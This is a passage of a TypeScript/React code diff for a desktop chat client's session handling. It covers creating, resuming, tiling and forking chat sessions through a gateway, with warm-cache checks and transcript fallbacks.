+    // place without navigating out of the surface the user deliberately opened.
+    if (routedStoredSessionId === previousId) {
+      navigate(sessionRoute(nextId), { replace: true })
+    }
+  }, [activeSessionIdRef, getRoutedStoredSessionId, navigate, selectedStoredSessionIdRef, storedIdRotation])
+
+  const startFreshSessionDraft = useCallback(
+    (options: boolean | FreshSessionDraftOptions = false) => {
+      const draftOptions = typeof options === 'boolean' ? { replaceRoute: options } : options
+      const preserveRoute = draftOptions.preserveRoute ?? false
+      const replaceRoute = draftOptions.replaceRoute ?? false
+
+      const hasWorkspaceTarget =
+        Object.hasOwn(draftOptions, 'workspaceTarget') && draftOptions.workspaceTarget !== undefined
+
+      const workspaceTarget = hasWorkspaceTarget
+        ? normalizeNewChatWorkspaceTarget(draftOptions.workspaceTarget)
+        : undefined
+
+      resetViewSync()
+      busyRef.current = false
+      setBusy(false)
+      setAwaitingResponse(false)
+      clearNotifications()
+      setIntroSeed(seed => seed + 1)
+      // A fresh chat takes the screen. Front the workspace — and ONLY that:
+      // `$terminalTakeover` is the terminal's open/closed state in every
+      // layout, not a Focus-only overlay flag, so clearing it here would close
+      // a terminal sitting harmlessly in its own zone (Default, Terminal deck,
+      // Quad) and would persist a `false` that leaves the Focus tab unable to
+      // mount its workspace on the next boot. Behind another tab the terminal
+      // is hidden, not closed: it keeps its PTYs and the overlay stops
+      // painting on the pane-hidden marker, which is what actually cleared the
+      // chat.
+      revealTreePane('workspace')
+      // Clear the durable route intent synchronously, before React Router
+      // publishes /new. Submit uses that intent to heal an existing-session
+      // rebind race, so leaving the old id here could revive it on a very fast
+      // New Chat -> Enter sequence.
+      onFreshDraftRouteIntent?.()
+
+      if (!preserveRoute) {
+        navigate(NEW_CHAT_ROUTE, { replace: replaceRoute })
+      }
+
+      setActiveSessionId(null)
+      activeSessionIdRef.current = null
+      setSelectedStoredSessionId(null)
+      selectedStoredSessionIdRef.current = null
+      setMessages([])
+      setCurrentUsage({
+        calls: 0,
+        input: 0,
+        output: 0,
+        total: 0
+      })
+      setSessionStartedAt(null)
+      setTurnStartedAt(null)
+      // The composer's model/effort/fast is sticky UI state (persisted in
+      // localStorage) — a new chat FOLLOWS your last pick instead of snapping
+      // back to the profile default, so we deliberately don't reset it here. The
+      // profile default still owns first-run seeding and profile switches (see
+      // refreshCurrentModel). Only $currentServiceTier (a live-session mirror)
+      // is cleared.
+      setCurrentServiceTier('')
+      setYoloActive(false)
+      setNewChatWorkspaceTarget(hasWorkspaceTarget ? workspaceTarget : undefined)
+
+      if (!hasWorkspaceTarget) {
+        // In a project → the repo's default-branch checkout; not in a project →
+        // detached. So cmd-n does not inherit an unrelated linked worktree.
+        setCurrentCwd(resolveNewSessionCwd())
+      } else if (workspaceTarget === null) {
+        setCurrentCwdTransient('')
+      } else if (typeof workspaceTarget === 'string') {
+        setCurrentCwd(workspaceTarget)
+      }
+
+      // A fresh draft resolves its own workspace right here, so it owns it. The
+      // selected stored id is null for a draft, and so is the owner — they match,
+      // which keeps workspace surfaces live on a new chat instead of treating the
+      // draft as an un-re-homed switch (#71254).
+      setWorkspaceCwdOwner(null)
+      setCurrentBranch('')
+      // Never clear the composer here — ChatBar's per-thread draft swap owns it.
+      setFreshDraftReady(true)
+    },
+    [activeSessionIdRef, busyRef, navigate, onFreshDraftRouteIntent, resetViewSync, selectedStoredSessionIdRef]
+  )
+
+  const createBackendSessionForSend = useCallback(
+    async (preview: string | null = null): Promise<string | null> => {
+      const startingStoredSessionId = selectedStoredSessionIdRef.current
+      const startingRouteToken = getRouteToken()
+
+      creatingSessionRef.current = true
+
+      try {
+        // An explicit one-shot workspace target (null → detached, string → that
+        // folder) wins; otherwise the live cwd, then the project-aware default
+        // (resolveNewSessionCwd — a project's new session keeps its repo cwd).
+        const workspaceTarget = $newChatWorkspaceTarget.get()
+
+        const cwd =
+          workspaceTarget === null
+            ? ''
+            : typeof workspaceTarget === 'string'
+              ? workspaceTarget.trim()
+              : $currentCwd.get().trim() || resolveNewSessionCwd()
+
+        const params = await desktopSessionCreateParams(cwd)
+        const created = await requestGateway<SessionCreateResponse>('session.create', params)
+        const stored = created.stored_session_id ?? null
+
+        // Only a genuine move to a DIFFERENT chat mid-create should orphan the
+        // session we just minted. The active runtime ref is deliberately not a
+        // prong: background gateway events retarget it while other sessions
+        // stream (#47709 class), and the seconds-long session.create round-trip
+        // (server-side agent + MCP init) makes that churn near-certain — every
+        // genuine user switch retargets selection AND route synchronously
+        // anyway. submitTargetStoredId is the just-created stored session, so
+        // our own upcoming re-home onto it never reads as drift.
+        const drift = sessionContextDrift({
+          startRouteToken: startingRouteToken,
+          nowRouteToken: getRouteToken(),
+          startSelectedStoredId: startingStoredSessionId,
+          nowSelectedStoredId: selectedStoredSessionIdRef.current,
+          submitTargetStoredId: stored
+        })
+
+        if (drift) {
+          console.warn('[submit-drift-abort]', drift, { phase: 'mid-create' })
+          await requestGateway('session.close', { session_id: created.session_id }).catch(() => undefined)
+
+          return null
+        }
+
+        resetViewSync()
+        activeSessionIdRef.current = created.session_id
+        selectedStoredSessionIdRef.current = stored
+        ensureSessionState(created.session_id, stored)
+
+        if (stored) {
+          createdThisRun.add(stored)
+          // Seed the sidebar preview with the user's first message so the row
+          // reads meaningfully while the turn is in flight, instead of flashing
+          // "Untitled session" until the turn persists and auto-title runs. The
+          // server later returns its own preview/title and supersedes this.
+          upsertOptimisticSession(created, stored, null, preview?.trim() || null)
+          navigate(sessionRoute(stored), { replace: true })
+          // Other windows (e.g. the main window when this is the pop-out) can't
+          // see this session until they re-pull the shared list.
+          broadcastSessionsChanged()
+        }
+
+        setFreshDraftReady(false)
+        setNewChatWorkspaceTarget(undefined)
+        setActiveSessionId(created.session_id)
+        setSelectedStoredSessionId(stored)
+        setSessionStartedAt(Date.now())
+        const yoloArmed = $yoloActive.get()
+        const runtimeInfo = applyRuntimeInfo(created.info)
+
+        if (runtimeInfo) {
+          updateSessionState(created.session_id, state => ({ ...state, ...runtimeInfo }), stored)
+        }
+
+        // User may have armed YOLO on the new-chat draft before the runtime
+        // session existed — apply it to the freshly created session.
+        if (yoloArmed) {
+          await setSessionYolo(requestGateway, created.session_id, true).catch(() => undefined)
+        }
+
+        return created.session_id
+      } finally {
+        window.setTimeout(() => {
+          creatingSessionRef.current = false
+        }, 0)
+      }
+    },
+    [
+      activeSessionIdRef,
+      creatingSessionRef,
+      ensureSessionState,
+      getRouteToken,
+      navigate,
+      requestGateway,
+      resetViewSync,
+      selectedStoredSessionIdRef,
+      updateSessionState
+    ]
+  )
+
+  const selectSidebarItem = useCallback(
+    (item: SidebarNavItem) => {
+      if (item.action === 'new-session') {
+        startFreshSessionDraft()
+
+        return
+      }
+
+      if (item.route) {
+        navigateToWorkspacePage(navigate, item.route)
+      }
+    },
+    [navigate, startFreshSessionDraft]
+  )
+
+  /** Create a fresh session and open it as a tile — leaves the primary chat alone.
+   *  Used by the New session row's "Open in split" menu and the tab-strip "+".
+   *
+   *  `listed` (default true) controls sidebar visibility. A brand-new backend
+   *  session is IN-MEMORY only until its first turn persists a row, so
+   *  `listSessions(min_messages=1)` already hides an unused one — the sidebar
+   *  pollution comes solely from the optimistic upsert here. The tab-strip "+"
+   *  passes `listed: false` so an unused new tab never clutters the session
+   *  list (Cursor-style draft tab); it surfaces on the next refresh once the
+   *  first message persists a turn. "Open in split" keeps the listed behavior. */
+  const openNewSessionTile = useCallback(
+    async (dir: TileDock = 'right', options?: { cwd?: null | string; listed?: boolean }) => {
+      const listed = options?.listed ?? true
+
+      try {
+        // Fresh tile → the caller's workspace when one was named (the sidebar
+        // "+" on a project/worktree lane), else the resolved new-session cwd
+        // (focused session's project → project scope → default).
+        const params = await desktopSessionCreateParams((options?.cwd || resolveNewSessionCwd()).trim())
+        const created = await requestGateway<SessionCreateResponse>('session.create', params)
+        const stored = created.stored_session_id
+
+        if (!stored) {
+          await requestGateway('session.close', { session_id: created.session_id }).catch(() => undefined)
+          notify({ kind: 'error', title: copy.sessionUnavailable, message: copy.createSessionFailed })
+
+          return
+        }
+
+        createdThisRun.add(stored)
+
+        // Seed the per-runtime cache so the tile renders immediately without a
+        // redundant resume. Only add the row to the SIDEBAR when `listed` — an
+        // unlisted (draft) tab stays out of the session list until its first
+        // turn persists and a refresh surfaces it.
+        if (listed) {
+          upsertOptimisticSession(created, stored, null, null)
+        }
+
+        // A tile lives in its OWN worktree, so it must not run the full
+        // foreground composer publish. A CENTER tile is the focused surface,
+        // though, and the Files pane still keys off the global `$currentCwd` —
+        // so the right rail kept showing the previous session's tree when a
+        // Project "+" created a session while the main chat was occupied
+        // (#76696). Split/side tiles deliberately stay isolated.
+        const runtimeInfo = applyRuntimeInfo(created.info, { foreground: false })
+        updateSessionState(created.session_id, state => (runtimeInfo ? { ...state, ...runtimeInfo } : state), stored)
+
+        openSessionTile(stored, dir)
+        patchSessionTile(stored, { runtimeId: created.session_id })
+
+        if (dir === 'center' && runtimeInfo?.cwd) {
+          setCurrentCwd(runtimeInfo.cwd)
+          setWorkspaceCwdOwner(stored)
+        }
+
+        revealTreePane(`session-tile:${stored}`)
+
+        if (listed) {
+          broadcastSessionsChanged()
+        }
+      } catch (error) {
+        notifyError(error, copy.createSessionFailed)
+      }
+    },
+    [copy, requestGateway, updateSessionState]
+  )
+
+  const openSettings = useCallback(() => {
+    navigate(SETTINGS_ROUTE)
+  }, [navigate])
+
+  const closeSettings = useCallback(() => {
+    if (selectedStoredSessionId) {
+      navigate(sessionRoute(selectedStoredSessionId))
+
+      return
+    }
+
+    navigate(NEW_CHAT_ROUTE)
+  }, [navigate, selectedStoredSessionId])
+
+  const resumeSession = useCallback(
+    async (storedSessionId: string, replaceRoute = false) => {
+      const requestId = resumeRequestRef.current + 1
+      resumeRequestRef.current = requestId
+      const resumedSameSelectedSession = selectedStoredSessionIdRef.current === storedSessionId
+      const resumeStartMessages = resumedSameSelectedSession ? $messages.get() : []
+
+      const isCurrentResume = () =>
+        resumeRequestRef.current === requestId && selectedStoredSessionIdRef.current === storedSessionId
+
+      // Paint the click before the profile-resolve / gateway-swap awaits below,
+      // so there's zero dead air: highlight the row instantly (the sidebar reads
+      // $selectedStoredSessionId) and, for a cold target, drop the previous
+      // transcript so the thread shows its loader instead of the old session
+      // lingering until resume lands. A warm-cached target keeps its transcript —
+      // the cached fast-path repaints it this same tick. Setting the ref here is
+      // also what use-route-resume's self-heal assumes ("set synchronously at
+      // resume entry").
+      setFreshDraftReady(false)
+      clearNotifications()
+      resetViewSync()
+      setSelectedStoredSessionId(storedSessionId)
+      selectedStoredSessionIdRef.current = storedSessionId
+
+      // A session is EITHER the main thread OR a tile — never both. openSessionTile
+      // enforces this from the tile side (it refuses to tile the selected session);
+      // this enforces it from the main side. Loading an existing session into main
+      // (cold-start restore, a pasted/⌘K route, a notification jump) while it's also
+      // an open tile would paint the same transcript twice — the workspace pane from
+      // the route and the tile pane in parallel, both fighting one runtime. Drop the
+      // now-redundant tile so main owns it. Runs before the async awaits below (and
+      // before the selection listener homes focus) so the tile is gone the same tick
+      // the route takes over; the warm cache/runtime binding survives for main to reuse.
+      if ($sessionTiles.get().some(t => t.storedSessionId === storedSessionId)) {
+        closeSessionTile(storedSessionId)
+      }
+
+      // Optimistically clear any prior resume-failure latch for this session:
+      // we're attempting a fresh resume, so the self-heal in use-route-resume
+      // must not keep treating it as stranded. It's re-armed below only if THIS
+      // attempt fails terminally (RPC reject + REST fallback failure).
+      setResumeFailedSessionId(current => (current === storedSessionId ? null : current))
+      // Also clear the exhausted-latch: a fresh attempt (manual Retry, reconnect,
+      // reselect) gives the bounded auto-retry counter a clean cycle, so the
+      // chat view drops the error state and shows the loader again.
+      setResumeExhaustedSessionId(current => (current === storedSessionId ? null : current))
+
+      // A warm cache entry is only trustworthy when it still BELONGS to the
+      // session being resumed. A pooled profile backend that gets idle-reaped
+      // and respawned (pruneSecondaryGateways) re-mints runtime ids, so a
+      // recycled id can resolve to a live-but-DIFFERENT session's cache entry.
+      // The session.activate 404 guard below only catches a fully-DEAD id — a
+      // recycled-live id 200s, so an unchecked hit paints the wrong transcript
+      // under the current route (the "open chat A, chat B loads" bug). On a
+      // mismatch the mapping is cross-wired: purge both sides and report a miss
+      // so the caller falls through to a full resume that rebinds a correct id.
+      const takeWarmCache = (): { runtimeId: string; state: ClientSessionState } | null => {
+        const runtimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
+        const state = runtimeId ? sessionStateByRuntimeIdRef.current.get(runtimeId) : undefined
+
+        if (!runtimeId || !state) {
+          return null
+        }
+
+        if (state.storedSessionId !== storedSessionId) {
+          runtimeIdByStoredSessionIdRef.current.delete(storedSessionId)
+          sessionStateByRuntimeIdRef.current.delete(runtimeId)
+          dropSessionState(runtimeId)
+
+          return null
+        }
+
+        return { runtimeId, state }
+      }
+
+      if (!takeWarmCache()) {
+        setActiveSessionId(null)
+        activeSessionIdRef.current = null
+
+        if (!resumedSameSelectedSession) {
+          setMessages([])
+        }
+      }
+
+      // Swap the single live gateway to this session's profile before any
+      // gateway call (no-op when it's already on that profile / single-profile).
+      // resolveStoredSession finds the row by id (cheap), so an uncached pasted
+      // id loads as fast as a sidebar click instead of hanging on a list scan.
+      const storedForProfile = await resolveStoredSession(storedSessionId)
+      const sessionProfile = storedForProfile?.profile
+
+      if (resumeRequestRef.current !== requestId) {
+        return
+      }
+
+      await ensureGatewayProfile(sessionProfile)
+
+      // Re-check after the profile-resolve / gateway-swap awaits above: the
+      // cache may have changed, and takeWarmCache re-validates belongs-to and
+      // purges a cross-wired mapping before we trust the fast-path.
+      const warmHit = takeWarmCache()
+
+      if (warmHit) {
+        const cachedRuntimeId = warmHit.runtimeId
+        const cachedState = warmHit.state
+
+        const stored =
+          $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId)) ?? storedForProfile
+
+        let cachedViewState =
+          !cachedState.model && stored?.model != null
+            ? {
+                ...cachedState,
+                model: stored.model || ''
+              }
+            : cachedState
+
+        if (resumedSameSelectedSession) {
+          const messages = preserveLocalPendingTurnMessages(cachedViewState.messages, resumeStartMessages)
+
+          if (messages !== cachedViewState.messages) {
+            cachedViewState = { ...cachedViewState, messages }
+          }
+        }
+
+        if (cachedViewState !== cachedState) {
+          sessionStateByRuntimeIdRef.current.set(cachedRuntimeId, cachedViewState)
+          publishSessionState(cachedRuntimeId, cachedViewState)
+        }
+
+        if (sessionShouldHaveTranscript(stored) && cachedViewState.messages.length === 0) {
+          runtimeIdByStoredSessionIdRef.current.delete(storedSessionId)
+          sessionStateByRuntimeIdRef.current.delete(cachedRuntimeId)
+          dropSessionState(cachedRuntimeId)
+        } else {
+          // Paint the warm cache immediately, but also refresh the persisted
+          // transcript in parallel. A resumed runtime carries the agent's
+          // compression projection, which can have the same row count as the
+          // stored conversation while containing different rows. Trusting that
+          // projection alone made completed prompts disappear after an app
+          // restart whenever this warm path short-circuited the cold REST
+          // prefetch. Watch mirrors stay live-only by design.
+          const persistedTranscriptPromise = isWatchWindow()
+            ? null
+            : getSessionMessages(storedSessionId, sessionProfile).catch(() => null)
+
+          setFreshDraftReady(false)
+          clearNotifications()
+          setSelectedStoredSessionId(storedSessionId)
+          selectedStoredSessionIdRef.current = storedSessionId
+          setActiveSessionId(cachedRuntimeId)
+          activeSessionIdRef.current = cachedRuntimeId
+          syncSessionStateToView(cachedRuntimeId, cachedViewState)
+          setCurrentCwd(cachedViewState.cwd)
+          // The warm cache IS this conversation's own workspace truth, so the
+          // switch is already re-homed here. This claim cannot wait for
+          // `session.activate`: its missing-RPC compat branch returns before
+          // `applyRuntimeInfo` runs, which would leave the workspace marked
+          // un-owned for the life of the session (#71254).
+          setWorkspaceCwdOwner(storedSessionId)
+          setCurrentBranch(cachedViewState.branch)
+          setSessionStartedAt(Date.now())
+
+          try {
+            let activated: SessionResumeResponse | null = null
+
+            try {
+              activated = await requestGateway<SessionResumeResponse>('session.activate', {
+                session_id: cachedRuntimeId,
+                cols: 96,
+                omit_messages: true
+              })
+            } catch (error) {
+              // Compatibility for older backends. Modern backends require
+              // session.activate here because it rebinds the live session's
+              // event transport to this newly-opened WebSocket.
+              if (!isMissingRpcMethod(error)) {
+                throw error
+              }
+
+              const usage = await requestGateway<UsageStats>('session.usage', { session_id: cachedRuntimeId })
+
+              if (!isCurrentResume()) {
+                return
+              }
+
+              if (usage) {
+                setCurrentUsage(current => ({ ...current, ...usage }))
+              }
+
+              return
+            }
+
+            if (!isCurrentResume()) {
+              return
+            }
+
+            if (activated.session_key && activated.session_key !== storedSessionId) {
+              runtimeIdByStoredSessionIdRef.current.delete(storedSessionId)
+              sessionStateByRuntimeIdRef.current.delete(cachedRuntimeId)
+              dropSessionState(cachedRuntimeId)
+            } else {
+              const runtimeInfo = applyRuntimeInfo(activated.info)
+
+              let activatedMessages =
+                activated.messages.length || activated.inflight || activated.queued
+                  ? reconcileAuthoritativeMessages(activated.messages, cachedViewState.messages, activated)
+                  : cachedViewState.messages
+
+              const running = Boolean(activated.running ?? cachedViewState.busy)
+
+              // While idle, the persisted REST transcript is the display
+              // authority: session.activate returns the runtime's compressed
+              // context projection, not necessarily the complete conversation.
+              // During a live turn, keep the runtime/cache projection so an
+              // accepted but not-yet-persisted prompt or stream is never lost.
+              if (!running && persistedTranscriptPromise) {
+                const persisted = await persistedTranscriptPromise
+
+                if (!isCurrentResume()) {
+                  return
+                }
+
+                const activatedStoredSessionId = activated.session_key || activated.resumed
+
+                const persistedMatchesActivatedSession =
+                  !persisted?.session_id ||
+                  !activatedStoredSessionId ||
+                  persisted.session_id === activatedStoredSessionId
+
+                if (persisted && persistedMatchesActivatedSession) {
+                  activatedMessages = reconcileAuthoritativeMessages(persisted.messages, activatedMessages)
+                }
+              }
+
+              const activatedState = updateSessionState(
+                cachedRuntimeId,
+                state => ({
+                  ...state,
+                  ...(runtimeInfo ?? {}),
+                  messages: activatedMessages,
+                  busy: running,
+                  awaitingResponse: running
+                }),
+                storedSessionId
+              )
+
+              busyRef.current = running
+              setBusy(running)
+              setAwaitingResponse(running)
+              syncSessionStateToView(cachedRuntimeId, activatedState)
+
+              return
+            }
+          } catch (error) {
+            // The cached runtime id was minted by a prior backend instance. A
+            // pooled profile backend that gets idle-reaped (pruneSecondaryGateways)
+            // and respawned across a profile swap mints fresh ids, so this mapping
+            // now 404s ("session not found"). Drop it and fall through to a full
+            // resume that rebinds a live runtime id. A transient timeout or
+            // transport error is NOT proof that the session is dead: keep the
+            // cache and optimistic turn intact for the next reconnect attempt.
+            if (!isCurrentResume()) {
+              return
+            }
+
+            if (!isSessionGoneError(error)) {
+              return
+            }
+
+            runtimeIdByStoredSessionIdRef.current.delete(storedSessionId)
+            sessionStateByRuntimeIdRef.current.delete(cachedRuntimeId)
+            dropSessionState(cachedRuntimeId)
+          }
+        }
+      }
+
+      setFreshDraftReady(false)
+      setActiveSessionId(null)
+      activeSessionIdRef.current = null
+
+      // A warm-cache hit at entry skipped the cold-path transcript clear, but the
+      // warm path can still bail down to here — an empty-transcript drop, or the
+      // cache getting purged during the profile-swap await — so the PREVIOUS
+      // session's transcript would leak into this cold resume ("switching
+      // sessions shows the same messages"). Clear it so the loader/prefetch
+      // paints fresh; guarded so the normal cold path (already cleared) no-ops.
+      if (!resumedSameSelectedSession && $messages.get().length > 0) {
+        setMessages([])
+      }
+
+      // A history load is not a live turn. Toggling busy here and again in the
+      // finally block re-renders the thread viewport after it has loaded.
+      busyRef.current = true
+      setAwaitingResponse(false)
+      clearNotifications()
+      setSelectedStoredSessionId(storedSessionId)
+      selectedStoredSessionIdRef.current = storedSessionId
+      setSessionStartedAt(Date.now())
+
+      const stored =
+        $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId)) ?? storedForProfile
+
+      applyStoredSessionPreviewRuntimeInfo(stored, storedSessionId)
+
+      if (stored) {
+        applyStoredUsage(stored)
+      }
+
+      let resumedRunning = false
+      // A recovered in-flight tail means the turn already produced output, so
+      // it resumes into the streaming state rather than the "awaiting first
+      // token" spinner.
+      let recoveredInFlightTail = false
+
+      try {
+        const watchWindow = isWatchWindow()
+
+        let localSnapshot = resumedSameSelectedSession
+          ? preserveLocalPendingTurnMessages($messages.get(), resumeStartMessages)
+          : $messages.get()
+
+        let prefetchApplied = false
+        let prefetchedStoredSessionId: string | null = null
+
+        // REST transcript prefetch and the gateway resume RPC are independent
+        // — run them concurrently so a big session's wall time is
+        // max(prefetch, resume) instead of their sum. The prefetch paints the
+        // transcript as soon as it lands; the RPC binds the runtime id.
+        // Watch windows skip the prefetch — lazy resume attaches the live mirror.
+        const prefetchPromise = watchWindow ? null : getSessionMessages(storedSessionId, sessionProfile)
+
+        const resumePromise = requestGateway<SessionResumeResponse>('session.resume', {
+          session_id: storedSessionId,
+          cols: 96,
+          source: 'desktop',
+          // REST is the transcript authority for Desktop. Avoid duplicating a
+          // potentially huge compression lineage in the WebSocket response.
+          // Watch windows attach lazily (live mirror). Every other cold resume
+          // gets the gateway's default deferred build: the RPC returns the
+          // transcript immediately instead of blocking the switch on _make_agent
+          // (MCP discovery / prompt build), and the agent pre-warms in the
+          // background while the prefetch above paints the transcript.
+          ...(watchWindow ? { lazy: true } : { omit_messages: true }),
+          ...(sessionProfile ? { profile: sessionProfile } : {})
+        })
+
+        // The rejection is consumed by the `await` below; this guard only
+        // keeps it from surfacing as unhandled while the prefetch settles.
+        resumePromise.catch(() => undefined)
+
+        // Keep both requests concurrent, but do not paint the REST result until
+        // the runtime resume has also settled. An eager prefetch paint followed
+        // by the runtime projection rebuilds large transcripts during resume.
+        let prefetchedResult: { messages: SessionMessage[]; session_id?: string } | null = null
+
+        try {
+          if (prefetchPromise) {
+            prefetchedResult = await prefetchPromise
+          }
+        } catch {
+          // Non-fatal: gateway resume below can still hydrate the session.
+        }
+
+        const resumed = await resumePromise
+
+        if (!isCurrentResume()) {
+          return
+        }
+
+        if (prefetchedResult) {
+          const previousMessages = resumedSameSelectedSession
+            ? preserveLocalPendingTurnMessages($messages.get(), resumeStartMessages)
+            : $messages.get()
+
+          localSnapshot = reconcileAuthoritativeMessages(prefetchedResult.messages, previousMessages)
+          prefetchApplied = true
+          prefetchedStoredSessionId = prefetchedResult.session_id || storedSessionId
+        }
+
+        const currentMessages = $messages.get()
+
+        // Keep the local snapshot when resume would only reshuffle runtime
+        // projection. When the REST prefetch already hydrated the transcript,
+        // skip converting/reconciling the resume payload entirely — on a
+        // 1000+-message session that second conversion plus the deep
+        // equivalence compare costs over a second of main-thread time.
+        const resumedStoredSessionId = resumed.session_key || resumed.resumed
+
+        const prefetchMatchesResumedSession =
+          !prefetchedStoredSessionId || !resumedStoredSessionId || prefetchedStoredSessionId === resumedStoredSessionId
+
+        const hasLiveProjection = Boolean(resumed.inflight || resumed.queued)
+
+        const preferredMessages =
+          prefetchApplied && prefetchMatchesResumedSession && !hasLiveProjection
+            ? localSnapshot
+            : (() => {
+                const previousMessages = resumedSameSelectedSession
+                  ? preserveLocalPendingTurnMessages(currentMessages, resumeStartMessages)
+                  : currentMessages
+
+                const resumedMessages = reconcileAuthoritativeMessages(resumed.messages, previousMessages, resumed)
+
+                return chatMessageArraysEquivalent(currentMessages, resumedMessages) ? currentMessages : resumedMessages
+              })()
+
+        resumedRunning = Boolean((resumed as { running?: boolean }).running)
+
+        // Crash-survivable turn progress: fold a journaled in-flight tail
+        // (persisted by use-session-state-cache while the turn streamed;
+        // survives renderer/app death) back onto the restored transcript. The
+        // backend's own inflight projection is already inside
+        // `preferredMessages` (appendLiveSessionProjection), so this merge only
+        // adds the locally recorded structure — tool calls, sealed interim
+        // rows — that the backend's text-only snapshot cannot carry. A no-op
+        // returns `preferredMessages` by reference, keeping the fast path
+        // below intact.
+        const inFlightRecovery = recoverInFlightTurnJournal(storedSessionId, preferredMessages, {
+          keepPending: resumedRunning
+        })
+
+        recoveredInFlightTail = inFlightRecovery.applied
+
+        // Prefetch-hit fast path: `preferredMessages` IS the live `$messages`
+        // array (already error-merged when `localSnapshot` was built), so reuse
+        // the ref instead of rebuilding a throwaway transcript+Map every switch.
+        const messagesForView =
+          inFlightRecovery.messages === currentMessages
+            ? currentMessages
+            : preserveLocalAssistantErrors(inFlightRecovery.messages, currentMessages)
+
+        // Fail-latch on the PRE-recovery transcript: an orphan journal tail
+        // must not mask a lost transcript (a retry that reloads real history
+        // is safer than surfacing the in-flight turn alone). Recovery only
+        // ever appends, so this matches the final transcript's emptiness.
+        if (sessionShouldHaveTranscript(stored) && preferredMessages.length === 0) {
+          setActiveSessionId(null)
+          activeSessionIdRef.current = null
+          setResumeFailedSessionId(storedSessionId)
+          resumedRunning = false
+
+          return
+        }
+
+        setActiveSessionId(resumed.session_id)
+        activeSessionIdRef.current = resumed.session_id
+        const runtimeInfo = applyRuntimeInfo(resumed.info)
+
+        patchSessionWorkspace(storedSessionId, runtimeInfo?.cwd)
+
+        updateSessionState(
+          resumed.session_id,
+          state => ({
+            ...state,
+            ...(runtimeInfo ?? {}),
+            messages: messagesForView,
+            busy: resumedRunning,
+            awaitingResponse: resumedRunning && !recoveredInFlightTail,
+            ...(inFlightRecovery.applied
+              ? {
+                  sawAssistantPayload: true,
+                  // Point live deltas at the recovered row when the backend is
+                  // still mid-turn; a settled recovery keeps the stream idle.
+                  streamId: resumedRunning ? inFlightRecovery.streamId : null,
+                  turnStartedAt: resumedRunning
+                    ? (inFlightRecovery.turnStartedAt ?? state.turnStartedAt ?? Date.now())
+                    : state.turnStartedAt
+                }
+              : {})
+          }),
+          storedSessionId
+        )
+
+        // updateSessionState stages its view sync through requestAnimationFrame.
+        // Commit the final, already-reconciled transcript now so resume has one
+        // additive DOM build instead of an eager prefetch build plus a later
+        // runtime projection build.
+        if (!chatMessageArraysEquivalent($messages.get(), messagesForView)) {
+          setMessages(messagesForView)
+        }
+      } catch (err) {
+        if (!isCurrentResume()) {
+          return
+        }
+
+        // The gateway resume RPC failed. Try the REST transcript as a fallback
+        // so the window at least shows history. CRITICAL: this fallback must be
+        // wrapped in its own try — if it ALSO throws (wedged/unreachable backend,
+        // the common case when resume failed in the first place), an unguarded
+        // throw here skips setMessages AND leaves activeSessionId null with an
+        // empty transcript. That is the exact state the thread loader latches on
+        // forever (messagesEmpty && !activeSessionId) with no recovery path —
+        // the "open in new window stays stuck loading, even after a nap" bug.
+        let fallbackError: unknown = null
+
+        try {
+          const fallback = await getSessionMessages(storedSessionId, sessionProfile)
+
+          if (!isCurrentResume()) {
+            return
+          }
+
+          const previousMessages = resumedSameSelectedSession
+            ? preserveLocalPendingTurnMessages($messages.get(), resumeStartMessages)
+            : $messages.get()
+
+          // Resume failed, so there is no live projection — the journal is the
+          // only carrier of a crashed turn's progress on this path.
+          const fallbackRecovery = recoverInFlightTurnJournal(
+            storedSessionId,
+            reconcileAuthoritativeMessages(fallback.messages, previousMessages)
+          )
+
+          setMessages(fallbackRecovery.messages)
+        } catch (e) {
+          // Fallback also failed: nothing to paint. Leave whatever messages are
+          // already shown and fall through to arm the resume-failure latch so
+          // use-route-resume re-attempts the resume on the next render / window
+          // focus / gateway reconnect instead of stranding the loader.
+          fallbackError = e
+        }
+
+        if (!isCurrentResume()) {
+          return
+        }
+
+        // The session is genuinely gone (deleted, or a stale id from a wiped /
+        // rotated backend): the resume RPC and the authoritative REST transcript
+        // both 404. There's nothing to recover — silently drop to a fresh draft
+        // instead of toasting an error and hot-looping the bounded retry on a
+        // permanently-dead id. (Booting straight into a no-longer-existent
+        // last-session id is the common trigger.)
+        if ($messages.get().length === 0 && isSessionGoneError(fallbackError)) {
+          // A session created THIS run isn't gone — its backend just flapped
+          // before the turn-less session persisted. Keep the empty view and arm
+          // the bounded retry to rebind, rather than yanking to a fresh draft.
+          // Only a stale id from a PRIOR run drops to a draft.
+          if (createdThisRun.has(storedSessionId)) {
+            setResumeFailedSessionId(storedSessionId)
+
+            return
+          }
+
+          startFreshSessionDraft(true)
+
+          return
+        }
+
+        if ($messages.get().length === 0) {
+          // Arm the self-heal ONLY when the window is still empty: the gateway
+          // resume rejected AND the REST fallback failed to paint a transcript.
+          // That is the exact stranded state the loader latches on
+          // (messagesEmpty && !activeSessionId), and matches $resumeFailedSessionId's
+          // documented contract. If the REST fallback DID paint history, the
+          // window is readable — arming here would needlessly auto-retry and,
+          // once retries exhaust, blank that visible transcript behind the
+          // exhausted-state error overlay (a regression vs. plain fallback success).
+          setResumeFailedSessionId(storedSessionId)
+        }
+
+        notifyError(err, copy.resumeFailed)
+      } finally {
+        if (isCurrentResume()) {
+          busyRef.current = resumedRunning
+          setBusy(resumedRunning)
+          setAwaitingResponse(resumedRunning && !recoveredInFlightTail)
+        }
+      }
+    },
+    [
+      activeSessionIdRef,
+      busyRef,
+      copy,
+      requestGateway,
+      resetViewSync,
+      runtimeIdByStoredSessionIdRef,
+      selectedStoredSessionIdRef,
+      sessionStateByRuntimeIdRef,
+      startFreshSessionDraft,
+      syncSessionStateToView,
+      updateSessionState
+    ]
+  )
+
+  // Shared fork: create a child session seeded with `branchMessages`, linked to
+  // `parentStoredId` so it nests under its parent, then open it as its own tab
+  // and switch to it — the parent chat stays put (mirrors openNewSessionTile).
+  const forkBranch = useCallback(
+    async (
+      branchMessages: BranchMessage[],
+      sourceSessionId: null | string,
+      parentStoredId: null | string,
+      cwd?: string,
+      profile?: null | string
+    ): Promise<boolean> => {
+      creatingSessionRef.current = true
+
+      try {
+        // A branch belongs to its parent's OWNING profile. Swapping the live
+        // gateway first AND passing `profile` on the create mirrors
+        // desktopSessionCreateParams/resumeSession: in app-global remote mode
+        // one backend serves every profile, so an omitted profile silently
+        // lands the branch on the launch (default) profile — the "session
+        // jumps between profiles after branching" bug. The swap also makes
+        // upsertOptimisticSession's $activeGatewayProfile stamp correct.
